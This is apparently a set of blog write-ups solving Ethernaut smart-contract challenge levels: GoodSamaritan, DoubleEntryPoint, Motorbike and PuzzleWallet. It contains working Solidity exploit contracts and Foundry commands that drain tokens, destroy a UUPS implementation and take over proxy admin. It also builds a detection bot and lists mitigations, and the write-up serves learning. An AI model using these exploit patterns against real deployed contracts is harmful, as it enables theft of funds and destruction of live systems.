Now that everything was set up, it was time to initiate a request in the application and verify the flow:

And it worked. Burp was able to intercept and manipulate the requests successfully and show the response returned by the server.

The whole process could have been done in an efficient way using Burp Suite's Extender API or Frida hooks. Maybe that's a topic for the next part?

Mitigations

• DO NOT hardcode sensitive data inside your application as it can easily be decompiled and obtained. Use Android Keystore API for storing sensitive keys and tokens.

• Obfuscate the source code using Proguard or similar tools which will make it difficult for attackers to reverse engineer the code.

• Have Root detection and SSL Pinning in place

The Python scripts can also be found at:

There's a GoodSamaritan contract that holds a lot of tokens and donates 10 tokens to anyone who requests. Our goal is to drain the contract of all the tokens it holds by exploiting something called custom errors that were recently introduced in Solidity. Since the aftermath of the last level, I'm so glad they gave us an easy one this time.

Analysis

In this level, there are 3 contracts. GoodSamaritan is the one with which we'll be interacting. We can verify this by executing contract.abi in the console.

Let's go through the contracts.

Wallet

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

• The wallet defines two custom errors at the top which it's using inside the revert statements.
• The function donate10() is the one that is called to donate 10 coins to the requestor. It checks the balance of the contract (GoodSamaritan) before the transfer and reverts with a custom error (NotEnoughBalance()) if it's less than 10. Else, it just transfers 10 coins.
• Function transferRemainder() transfers all the coins stored in the contract to the requestor. We need to somehow trigger this function.
• Both of the functions described above are onlyOwner allowing only the owner to call them. The owner will be GoodSamaritan contract in this case.

Coin

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

• The Coin contract adds a million coins to the balance of the GoodSamaritan contract inside the constructor.
• The transfer function is important here. It is doing it's regular validations, decreasing the amount from the sender and increasing the destination's amount. But there's one specific validation that stands out - if(dest_.isContract()). This is checking if the address that requested the donation is a contract and calling the notify() function on the address, i.e., dest_ contract. Since we control the requestor address, we can create a contract on that address and probably control the execution flow after the INotifyable(dest_).notify(amount_) is called.

GoodSamaritan

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

• The contract is deploying new instances of the Wallet and Coin contracts.
• The function requestDonation() is of interest here. We can call this function externally. Note that this whole thing is inside a try and catch block.
  • The try block is executing the wallet.donate10(msg.sender) call with msg.sender being anyone who called the function.
  • The catch block is validating if the error thrown as a result of an error with the try block matches with the string of the custom error message NotEnoughBalance(). If it does match, then the wallet will transfer all the amount to us. This is what we need to achieve.

The Attack Flow

Let's take a few steps back and trace what happens when we call the requestDonation() function:

1. We made a call to requestDonation() and the execution flow goes to wallet.donate10(msg.sender).
2. The wallet contract calls coin.transfer() if everything goes well.
3. The coin.transfer() function does the necessary calculations, checks if our address is a contract, and then calls a notify() function on our address.
4. This is where we attack. We create a notify() function in our contract and make it revert a custom error with the name NotEnoughBalance(). This will trigger the error in the GoodSamaritan.requestDonation() function and the catch() block will be triggered transferring us all the tokens.
5. But wait, there's another catch. Transferring all the tokens won't work because our contract will just revert the transaction. To counter this, we will need to add another condition to our notify() function to check if the amount <= 10, and then only revert.

The Exploit

Here's how our exploits code looks like:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../instances/Ilevel27.sol";

contract BadSamaritan {

    error NotEnoughBalance();

    GoodSamaritan goodsamaritan  = GoodSamaritan(0xcf2e93212faddDeB5ca99606104Be3Bae28e27A4); //ethernaut instance address
    function attax() external {
        goodsamaritan.requestDonation();
    }

    function notify(uint256 amount) external pure {
        if (amount <= 10) {
            revert NotEnoughBalance();
        }
    }
}

• The attax() function is just for calling the requestDonation() to trigger the initial transfer.
• The transfer will then call our notify() function and since the amount will be 10, it'll revert.
• The revert will then trigger the catch block in requestDonation() and will transfer all the tokens to us.
• This time our notify() won't revert due to the if condition.

Let's deploy our contract using the following command:

forge create BadSamaritan --private-key $PKEY --rpc-url $RPC_URL

Now to call the attax() function:

cast send 0xb5daE871ADAFD33ee4B6Bf782a30b238902715F6 "attax()" --private-key $PKEY --rpc-url $RPC_URL --gas-limit 1000000

I specified a large gas limit because the transaction kept failing.

The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

It is a really bad idea to give execution control to the hands of any external user and then use any dependent condition based on the external factor to decide a critical logic in the contract.

This level consists of multiple contracts that interact together. One of those contracts is called the CryptoVault. Our task is to find a bug in the CryptoVault and protect the contract from being drained of tokens.

This level features a CryptoVault with special functionality, the sweepToken function. This is a common function used to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can't be swept, as it is an important core logic component of the CryptoVault. Any other tokens can be swept.

The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.

In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.

The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible. Your job is to implement a detection bot and register it in the Forta contract. The bot's implementation will need to raise correct alerts to prevent potential attacks or bug exploits.

We will go through the contracts, understand their logic and implementation, and find the bug. We will then learn to implement a monitoring bot called Forta to raise alerts to prevent the attack. Brace yourselves, this is a wild ride.

Analysis

We have two ERC20 token contracts, LegacyToken (LGT) and DoubleEntryPoint (DET), and a vault CryptoVault with a very special function that also happens to be vulnerable. The CryptoVault initially holds 100 tokens each of LGT and DET. Let's take a look at the contracts one by one starting with the LegacyToken.

LegacyToken

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

• This contract is overriding the default transfer() function from ERC20 and making some weird changes.
  • This is checking that if the delegate address is not set or is set to a 0 address, just call the transfer() function from the ERC20.
  • If it is set to something else, call the delegateTransfer() function on the delegate() contract address. In this case, the delegate contract is the DoubleEntryPoint contract.
• The delegateToNewContract() is setting the value of the delegate contract which is controlled by onlyOwner (only the owner can call this function).

DoubleEntryPoint

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

• The constructor is defining all the addresses, and is also minting 100 LGT to the CryptoVault.
• The modifier onlyDelegateFrom() is making sure that the msg.sender should only be the delegatedFrom contract which is set to the address of the LegacyToken. This means that whichever function has this modifier, that function can only be called by the LegacyToken and no one else.
• The modifier fortaNotify() is the one used by the Forta bot.
  • This modifier stores the old number of alerts raised by the bot, executes the function logic on which the modifier is set and then compares the old number of alerts with the new number to see if an alert was raised. If it was, then the whole transaction is reverted. This is what we have to make use of. Since this modifier is only used on the delegateTransfer() function, there has to be some bug in there.
• The function delegateTransfer() is the one which the LegacyToken was calling which we discussed above.
  • This function has the onlyDelegateFrom() modifier set allowing only LegacyTokens to call this function and the fortaNotify() which acts as a bot detection and monitoring feature and reverts the function execution if an alert is raised.
  • This function is calling the ERC20 _transfer function which is transferring the value amount of tokens from origSender to the address to.

CryptoVault

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

• The function setUnderlying() is setting the address for the underlying token which is DoubleEntryPoint in this case. This can only be called once due to the validating condition in the require() statement.
• The function sweepToken() is a goldmine for the attacker. This is taking an ERC20 token contract address as the function argument and making sure that it's not equal to the underlying token (DoubleEntryPoint). Then it's calling the transfer() function on the token address which transfers the Vault's token balance for the token contract specified and sends it to the sweptTokensRecipient address.
• The sweptTokensRecipient is not controlled by us and is set during the deployment of the contract inside the constructor.

Did you spot the bug yet? If not, no worries. Neither did I on the first try.

The Vulnerability

Let's say we are the attackers and we wanted to exploit this contract-vault conjunction and want to drain the CryptoVault. The only function capable of draining the vault is sweepToken. But we can't drain the DET directly due to the input validation. But what if we enter the address of the LGT here?

The Vault will try to call the function LegacyToken.transfer() which directs the flow into the LegacyToken contract.

The LegacyToken will call the overridden function and will make the following call:

delegate.delegateTransfer(to, value, msg.sender); == DoubleEntryPoint.delegateTransfer(sweptTokensRecipient, CryptoVault's Total Balance, CryptoVault's Address);

The delegate contract will be DoubleEntryPoint as set in the contract by the owner, and the msg.sender will be the CryptoVault since it sent the transaction to the LegacyToken. The value will be equal to CryptoVault's total balance, i.e., token.balanceOf(address(this)).

Now the execution flow will go to DoubleEntryPoint contract inside the delegateTransfer() function.

• The onlyDelegateFrom will be bypassed because in this case according to what DoubleEntryPoint contract sees, msg.sender is LegacyToken because it sent the transaction. This will cause the underlying tokens (DET) to be swept/drained from the CryptoVault bypassing the validation we had in the vault - require(token != underlying, "Can't transfer underlying token");.

Let's try to replicate the attack.

The Exploit

The contract object which Ethernaut gives us in the console is DoubleEntryPoint contract. We can validate this by fetching the address of the CryptoVault and then querying the value of underlying. Let's run a small script to confirm our hypothesis and get the addresses for the vault, DET, and LGT tokens:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel26.sol";

contract POC is Script {

     DoubleEntryPoint level26 = DoubleEntryPoint(0xBDc7cd60eca4b6EA63A4e5A37d543Ff803B6D6DA);
    function run() external{
        vm.startBroadcast();

        address CryptoVault = level26.cryptoVault();
        CryptoVault.call(abi.encodeWithSignature("underlying()"));
        address LGT = level26.delegatedFrom();

        vm.stopBroadcast();
    }
}

Let's run the script using the following command:

forge script ./script/level26.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

It can be seen in the screenshot below that the first address was for the CryptoVault and the next one was fetched from the CryptoVault and which also matches the instance address provided to us by Ethernaut.

The last one is coming from delegatedFrom which should be the address of LegacyToken.

Since we got the address of the CryptoVault, let's also confirm on the Goerli explorer to check the number of tokens stored in the vault:

So the vault owns 100 tokens each of LGT and DET. Now that we are sure, let's drain all the DET from the vault. Here's our new code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel26.sol";

contract POC is Script {

     DoubleEntryPoint level26 = DoubleEntryPoint(0xBDc7cd60eca4b6EA63A4e5A37d543Ff803B6D6DA);
    function run() external{
        vm.startBroadcast();

        CryptoVault vault = CryptoVault(level26.cryptoVault());
        address DET = address(vault.underlying());
        address LGT = level26.delegatedFrom();
        vault.sweepToken(IERC20(LGT)); //calling sweepToken with LGT address on the CryptoVault

        vm.stopBroadcast();
    }
}

And as expected, the vault was drained of DET tokens which can also be verified on the Etherscan:

The Mitigation Analysis (Forta Bot)

Let's take a look at the last contract that we skipped earlier:

Forta

contract Forta is IForta {
    mapping(address => IDetectionBot) public usersDetectionBots;
    mapping(address => uint256) public botRaisedAlerts;

    function setDetectionBot(address detectionBotAddress) external override {
            require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
            usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
    }

    function notify(address user, bytes calldata msgData) external override {
        if(address(usersDetectionBots[user]) == address(0)) return;
        try usersDetectionBots[user].handleTransaction(user, msgData) {
                return;
        } catch {}
    }

    function raiseAlert(address user) external override {
            if(address(usersDetectionBots[user]) != msg.sender) return;
            botRaisedAlerts[msg.sender] += 1;
    } 
}

• The function setDetectionBot() is setting the address of a detection bot for the msg.sender inside usersDetectionBots[msg.sender]. We'll use this to set our own bot address.
• The function notify() is calling handleTransaction() function on the bot address. The handleTransaction() function will be implemented by us to handle the conditions for which the alerts will be raised. Note that notify() is being called inside the modifier fortaNotify(). This is how the call data is sent to the bot.
• Lastly, the function raiseAlert() is just incrementing the number of alerts for msg.sender by 1.

There's an interface as well called IDetectionBot with a single function signature called handleTransaction().

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

We need to build a bot, that will extend the IDetectionBot interface and will implement a function called handleTransaction() that will raise an alert if certain conditions are met. Now onto the condition part.

The Detection

We need our bot to detect malicious transactions that are draining the CryptoVault contract. The attack happened using the following steps:

1. CryptoVault.sweepToken(LGT) - CryptoVault made a call to the sweepToken function with the address of the LegacyToken contract.
2. This called the function LegacyToken.transfer(sweptTokensRecipient, CryptoVault's Token Balance);.
3. Inside the LegacyToken, a call was made to DoubleEntryPoint.delegateTransfer(sweptTokensRecipient, CryptoVault's Total Balance, CryptoVault's Address);.
4. Now the execution flow will reach the delegateTransfer() function with the address origSender as the address of the CryptoVault.

Based on the above observation, we can create a detection to raise an alert if the value of origSender == value of CryptoVault.

Bot Development

When the function delegateTransfer() is called, the modifier fortaNotify() is taking in msg.data and passing it to the forta.notify() function. We can make use of this msg.data and create our bot logic.

To proceed further, we must learn how the msg.data is organized and received by the bot.

• Initially, the msg.data received by the modifier fortaNotify() will contain the following function signature - function delegateTransfer(address to, uint256 value, address origSender).
• This is then sent to the notify() function which is making a call to the handleTransaction(user, msgData) function. This will change the msg.data as received by our function.
• The final msg.data will contain the msg.data for the function handleTransaction(address user, bytes calldata msgData) external; and inside the second argument bytes calldata msgData will be our actual msg.data for the delegateTransfer() function. This is what we need to access in order to get the value of origSender.

To learn more about how this is arranged, refer to the second half of the writeup here.

The following table shows the arrangement of calldata as seen by our Detection bot which we'll develop. The value which we want to focus on is origSender on 0xa8 position.

Function signatures can be obtained using the following command:

cast sig "handleTransaction(address,bytes)"

From the table above, it can be seen that the first half deals with the function handleTransaction() and the next half is its argument msgData that contains delegateTransfer() call with the parameter origSender which we need to extract.

The Final Code

Here's how our Alert Bot looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract AlertBot is IDetectionBot {
    address private cryptoVault;

    constructor(address _cryptoVault) public {
        cryptoVault = _cryptoVault;
    }

    function handleTransaction(address user, bytes calldata msgData) external override {

        address origSender;
        assembly {
            origSender := calldataload(0xa8)
        }

        if(origSender == cryptoVault) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}

• We have copied the codes for both interfaces. The variable cryptoVault is holding the address of the CryptoVault contract.
• The opcode calldataload(0xa8) extracts 32 bytes from the calldata starting from the 0xa8 byte.
• This is then compared to check if the CryptoVault is the one in origSender and an alert is raised.

Let's deploy this bot contract using the following command:

forge create AlertBot --private-key $PKEY --rpc-url $RPC_URL --constructor-args <CryptoVault's_Address>

Now we just need to send a call to register our bot using the following script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel26.sol";

contract POC is Script {

     DoubleEntryPoint level26 = DoubleEntryPoint(0xBDc7cd60eca4b6EA63A4e5A37d543Ff803B6D6DA);
    function run() external{
        vm.startBroadcast();

        level26.forta().setDetectionBot(0x3D078c608A1E80B13DEAf7a3b25d7F9AB3FCA0f3);

        vm.stopBroadcast();
    }
}

Running the script using the following command:

forge script ./script/level26-2.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

Our bot is registered and now the attacker won't be able to sweep the tokens because whenever they try calling the CryptoVault's sweepToken() function to drain DET, our bot will raise an alert and revert the transaction. The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

References

• https://dev.to/erhant/ethernaut-26-double-entry-point-1nfp
• https://stermi.xyz/blog/ethernaut-challenge-24-solution-double-entry-point
• https://docs.soliditylang.org/en/v0.8.15/abi-spec.html#abi

Our objective for this level is to call selfdestruct() on the implementation contract Engine and make the Proxy contract unusable. Let's see how we can do that.

Analysis

This level is using a proxy pattern called UUPS (Universal Upgradeable Proxy Standard). The last one which we saw in Level 24 was a Transparent proxy pattern.

The difference is that in a UUPS proxy pattern, the contract upgrade logic will also be coded in the implementation contract and not the proxy contract. This allows the user to save some gas. This is how the structure looks:

The other difference is that there's a storage slot defined in the proxy contract that stores the address of the logic contract. This is updated every time the logic contract is upgraded. This is to prevent storage collision. More on this can be read on EIP-1967.

In our case, the proxy contract is the Motorbike and the implementation/logic contract is Engine. When we take a look at the proxy contract, we can see the storage slot defined as:

bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

This slot is storing the address of the implementation contract.

When we look at the Engine contract, we can see that there's no selfdestruct() defined in the contract code. So how will we make a call to it? We will try to upgrade the implementation contract to point it to our deployed attacker contract.

To upgrade the logic, the Engine contract defines a function called upgradeToAndCall():

function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
    _authorizeUpgrade();
    _upgradeToAndCall(newImplementation, data);
}
function _authorizeUpgrade() internal view {
    require(msg.sender == upgrader, "Can't upgrade");
}

This is calling _authorizeUpgrade() to check if the msg.sender is upgrader. Therefore, to upgrade the contract we need to make sure we are upgrader. So how do we become an upgrader? Let's take a look at the initialize() function:

function initialize() external initializer {
    horsePower = 1000;
    upgrader = msg.sender;
}

initialize() is a special function used in UUPS-based contracts. And, along with initializer modifier, this acts as a constructor which can only be called once. (This is checked in the initializer modifier).

Something which should be observed here is that in this implementation, the initialize() function is supposed to be called by the proxy contract which it is doing. You can see in its constructor. But remember that it is doing so using a delegatecall(). And when a caller contract makes a delegate call to another contract, the caller contract's storage slots are updated using the code of the logic contract.

This means that the delegatecall() is being made in the context of the proxy contract and not the implementation.

So it is absolutely true that the proxy contract can only call the initialize() once and it'll update its storage values but what if we are to find the deployed address of the implementation contract and call the initialize() manually? In the context of the implementation contract, this has not yet been called. So if we are to call the function, our user (msg.sender) will become the upgrader.

Once we become the upgrader we can just call the upgradeToAndCall() with our own contract's address in which we can create a selfdestruct() function. This should be enough to solve the level.

The Exploit

Lets first create our attacker contract which will house the selfdestruct() function:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Destructive {
    function killed() external {
        selfdestruct(address(0));
    }    
}

Just a simple contract with selfdestruct() being called in the killed() external function.

This is how our exploit script looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel25.sol";

contract POC is Script {

     Motorbike level25 = Motorbike(0xE7BaFbC26565E1047d1755B820Fa99Fb463a5BF4);
     Engine engineAddress = Engine(address(uint160(uint256(vm.load(address(level25), 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)))));
    function run() external{
        vm.startBroadcast();

        engineAddress.initialize();
        console.log("Upgrader is :", engineAddress.upgrader());
        bytes memory encodedData = abi.encodeWithSignature("killed()");
        engineAddress.upgradeToAndCall(0x04dE0eA8556C85b94E61bC83B43d4FFb6DdC30F1, encodedData);

        vm.stopBroadcast();
    }
}

• Motorbike level25 - This is the address of the Proxy contract Motorbike.
• Engine engineAddress - This contains the address of the Engine, calculated using vm.load(contract_address, slot_no). Since this will return a bytes32 value and the address is 20 bytes, we need to convert it to store it into an address-type variable. That's why the extra address(uint160(uint256())) are being used. This can also be obtained from the console using

  await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
  

• engineAddress.initialize() - We are calling the initialize() function to become the upgrader.
• console.log - It is just used to make sure that we became the upgrader by logging the address to the console.
• bytes memory encodedData - This is the data that will be sent inside the upgradeToAndCall() method.
• engineAddress.upgradeToAndCall - Finally, we are making the call to upgrade the implementation contract. This function expects the implementation's address as the first parameter and the encoded data which contains the function signature to call while upgrading the contract as the second one.

Once the call is made, the implementation contract will be changed to our deployed Destructive contract and the current implementation will make a delegatecall() to our contract's killed() function, destroying the contract.

Deploy the Destructive contract and execute the script using the following commands:

forge create Destructive --private-key $PKEY --rpc-url $RPC_URL
forge script ./script/level25.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

Make sure to update the address of the Destructive contract in the exploit script.

The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

• UUPS Proxies are definitely an upgrade from previous proxy patterns but a proper code audit should be done before deploying these implementations on the mainnet as even a tiny mistake by the developer could lead to the destruction of both the proxy and implementation contracts.
• The caller context is important when storing state variables.
• Business-critical functions such as the ones to upgrade contracts should always have access control modifiers.

References

https://dev.to/nvn/ethernaut-hacks-level-25-motorbike-397g

The objective of this level is to become the admin of the proxy contract, PuzzleProxy. This level requires knowledge of how contracts are upgraded using proxy-based patterns and delegate calls. This is a really fun one. Let's dive in.

Analysis

This level consists of two contracts, a Proxy contract called PuzzleProxy and the logic/implementation contract called PuzzleWallet. So what is a proxy and implementation contract you ask? It's time to learn about upgradeable contracts.

Upgradeable Contracts

Every transaction we do on Ethereum is immutable and can not be modified or updated. This is the advantage that makes the network secure and helps anyone on the network to verify and validate the transactions. Due to this limitation, developers face issues when updating their contract's code as it can not be modified once deployed on the blockchain.

To overcome this situation, upgradeable contracts were introduced. This deployment pattern consists of two contracts - A Proxy contract (Storage layer) and an Implementation contract (Logic layer).

In this architecture, the user interacts with the logic contract via the proxy contract and when there's a need to update the logic contract's code, the logic contract's address is updated in the proxy contract which allows the users to interact with the new logic contract.

There's something that should be noted when implementing an upgradeable pattern, the slot arrangement in both the contracts should be the same because the slots are mapped. It means that when the proxy contract makes a call to the implementation contract, the proxy's storage variables are modified and the call is made in the context of the proxy. This is where our exploitation starts.

Contract Analysis

Let's take a look at the slot arrangement in both the contracts:

Since we need to become the admin of the proxy, we need to overwrite the value in slot 1, i.e., either the admin or the maxBalance variable.

There are two functions that are modifying the value of maxBalance. They are:

function init(uint256 _maxBalance) public {
    require(maxBalance == 0, "Already initialized");
    maxBalance = _maxBalance;
    owner = msg.sender;
}
...
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;
}

The init() function is making sure that the maxBalance is already 0 and then only allowing us to go through. This is impossible, so we'll look at the other function setMaxBalance().

The function setMaxBalance() is only checking if the contract's balance is 0. Maybe we can somehow influence this?

function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;
}

This function setMaxBalance() is also making sure that our user is whitelisted using a modifier onlyWhitelisted and to be whitelisted, we will be calling a function addToWhitelist() with our wallet's address but there's a validation happening in here that checks if our msg.sender is the owner.

To become the owner, we need to write into slot 0, i.e., either owner or pendingAdmin. From the contract PuzzleProxy, we can see that the function proposeNewAdmin() is external and is setting the value for pendingAdmin. Since the slots are replicated, if we call this function, we will automatically become the owner of the PuzzleWallet contract because both the variables are stored in slot 0 of the contracts.

Let us now look at the function influencing the contract's balance and allowing us to drain the balance.

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
    require(balances[msg.sender] >= value, "Insufficient balance");
    balances[msg.sender] = balances[msg.sender].sub(value);
    (bool success, ) = to.call{ value: value }(data);
    require(success, "Execution failed");
}

The execute() function is the only one that is making a call() to the address to with some value but this has a validation that checks that the msg.sender has sufficient balance to call the function. So how do we exploit this function?

We have to manipulate the contract into thinking that we have more balance than what we actually do. If we can do that, we will be able to call the execute() function with a value for balance that is equal to or more than the contract's balance and this will allow us to withdraw all the balance from the contract.

Now we have to look for any function which is manipulating our balance values. We see the deposit() function is allowing a user to deposit some amount into the contract and also adding the deposited amount into our balances mapping. But, if we call the deposit() normally, it will add the balance in both places (balances mapping and the contract). To exploit this function, we need to send Ether only once but increase value in our balances mapping twice. So how do we do that?

Now comes a function called multicall(). This function basically does what its name says. It allows you to call a function multiple times in a single transaction, saving some gas. Let's study its code:

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(  , 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            // Protect against reusing msg.value
            depositCalled = true;
        }
        (bool success, ) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

Maybe we can make use of this function to call deposit() multiple times in a single transaction therefore we will be supplying Ether only once but our balances might increase in multiples. But wait! There's another validation in here.

There's a flag called depositCalled which is set to false initially. The function is extracting the function selector from the data passed to it and checking if it is deposit() and changing the value of the flag depositCalled. This is essentially preventing deposit() from being called multiple times through multicall(). We need to bypass this.

The contract's current balance is 0.001. We can check using await getBalance(instance) from the console.

If we are able to call deposit() twice with 0.001 Ether in the same transaction, it'll mean that we are supplying 0.001 Ether only once and our player's balance (balances[player]) will go from 0 to 0.002 but in actuality, since we did it in the same transaction, our deposited amount will still be 0.001.

Therefore, the total balance of the contract now will still be 0.002, but due to the accounting error in balances, it'll think that it's 0.003 Ether. This will allow our player to call the execute() function because the statement require(balances[msg.sender] >= value) = (require(0.003 >= 0.002) will result in a success if we supply 0.002 Ether as value which will drain the contract.

What if, instead of calling deposit() directly with multicall(), we call two multicalls and within each multicall(), we call one deposit() (since the function multicall() takes an array)?

This won't affect the depositCalled since each multicall() will check their own depositCalled bool values.

Once we do this, we should be able to call the execute() to drain the contract and after that we should be able to call setMaxBalance() to set the value of maxBalance on slot 1, and therefore, setting the value for the proxy admin.

Phew! That was a long explanation. Let's write our theory into solidity code.

The Exploit

Let's take a look at our exploit script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "forge-std/Script.sol";
import "../instances/Ilevel24.sol";

contract POC is Script {

    PuzzleWallet wallet = PuzzleWallet(0x7E069Cb68CE876D435b422652f86462F4A276145);
    PuzzleProxy px = PuzzleProxy(0x7E069Cb68CE876D435b422652f86462F4A276145);

    function run() external{
        vm.startBroadcast();

        //creating encoded function data to pass into multicall
        bytes[] memory depositSelector = new bytes[](1);
        depositSelector[0] = abi.encodeWithSelector(wallet.deposit.selector);
        bytes[] memory nestedMulticall = new bytes[](2);
        nestedMulticall[0] = abi.encodeWithSelector(wallet.deposit.selector);
        nestedMulticall[1] = abi.encodeWithSelector(wallet.multicall.selector, depositSelector);

        // making ourselves owner of wallet
        px.proposeNewAdmin(msg.sender);
        //whitelisting our address
        wallet.addToWhitelist(msg.sender);
        //calling multicall with nested data stored above
        wallet.multicall{value: 0.001 ether}(nestedMulticall);
        //calling execute to drain the contract
        wallet.execute(msg.sender, 0.002 ether, "");
        //calling setMaxBalance with our address to become the admin of proxy
        wallet.setMaxBalance(uint256(msg.sender));
        //making sure our exploit worked
        console.log("New Admin is : ", px.admin());

        vm.stopBroadcast();
    }
}

• We have created two arrays that are storing the encoded function selectors. The array nestedMulticall is storing the call to deposit() at index 0 and a call to multicall() with deposit() function's selector passed as argument. This allows us to call deposit once using nestedMulticall[0] and then once more using nestedMulticall[1].

